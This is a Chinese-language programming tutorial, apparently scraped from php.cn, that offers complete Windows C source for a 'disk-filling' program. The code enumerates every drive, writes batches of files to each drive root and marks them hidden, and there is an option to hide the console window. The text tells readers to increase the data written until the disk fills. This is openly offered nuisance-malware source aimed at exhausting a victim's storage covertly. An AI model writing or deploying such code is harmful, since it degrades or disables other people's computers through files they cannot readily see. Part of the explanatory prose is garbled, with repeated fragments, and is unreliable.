首頁 > 後端開發 > C#.Net教程 > C/C++輕鬆寫出可塞滿硬碟的程式

C/C++輕鬆寫出可塞滿硬碟的程式

黄舟
發布: 2017-01-22 14:15:07
原創
2084 人瀏覽過

關於寫可塞滿硬碟的程式

我們先想想思路:

第一步:取得邏輯磁碟機

第二步:建立檔案

第三步:檔案寫入資料

擴充要求:

一:隱藏視窗

二:檔案設定為隱藏屬性


下面我們對上述的思路介紹一個API,接受完後給予原始碼

strings that specify valid drives in the system.

DWORD WINAPI GetLogicalDriveStrings(  
  _In_  DWORD  nBufferLength,  
  _Out_ LPTSTR lpBuffer  
);
登入後複製

此函數是把系統裡面可用的磁碟讀取到lpBuffer裡面

成功則返回獲取的總長度,

C/C++輕鬆寫出可塞滿硬碟的程式失敗裡面

成功則返回獲取的總長度,

長,一個是其他問題

關於其他的API函數,都比較簡單,有些可以從命名意思就知道功能,在此不在介紹,源碼中也有註釋,

下面看源代碼

#include <Windows.h>  
  
int main()  
{  
    //FreeConsole();    //隐藏控制台  
  
    char strDriveStrings[MAXBYTE] = { 0 };  
  
    //获取逻辑地址  
    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);  
  
    for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符               
    {  
        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };  
        strncpy_s(strRoot,&strDriveStrings[i], 4);  
        strcpy_s(strTargetPath, strRoot);  
  
        //创建100个文件  
        for (int j = 0; j < 100; j++)  
        {  
            char TempStrTargetPath[MAX_PATH];  
            strcpy_s(TempStrTargetPath, strTargetPath);  
            char FileName[MAXBYTE];  
            char Date[MAXBYTE] = "11111";  
            wsprintf(FileName, "%d.txt", j);  
            strcat_s(TempStrTargetPath, FileName);  
  
            //创建文件  
            HANDLE hFile;  
            hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
            if (hFile == INVALID_HANDLE_VALUE)  
                continue;  
            DWORD Pointer;  
  
            //写入数据  
            WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);  
            CloseHandle(hFile);  
  
            //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值  
            memset(FileName, 0, sizeof(FileName));  
  
            //设置为隐藏  
            SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);  
        }  
          
    }  
    return 0;  
}
登入後複製

把文件瀏覽屬性設定好:

運作結果如下:C/C++輕鬆寫出可塞滿硬碟的程式

如果出現以下問題:C/C++輕鬆寫出可塞滿硬碟的程式

搞點數據,硬碟就會塞滿C/C++輕鬆寫出可塞滿硬碟的程式

以上就是 C/C++輕鬆寫可塞滿硬碟的程式的內容,更多相關內容請關注PHP中文網(www.php.cn)!

相關標籤:
來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
最新問題
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板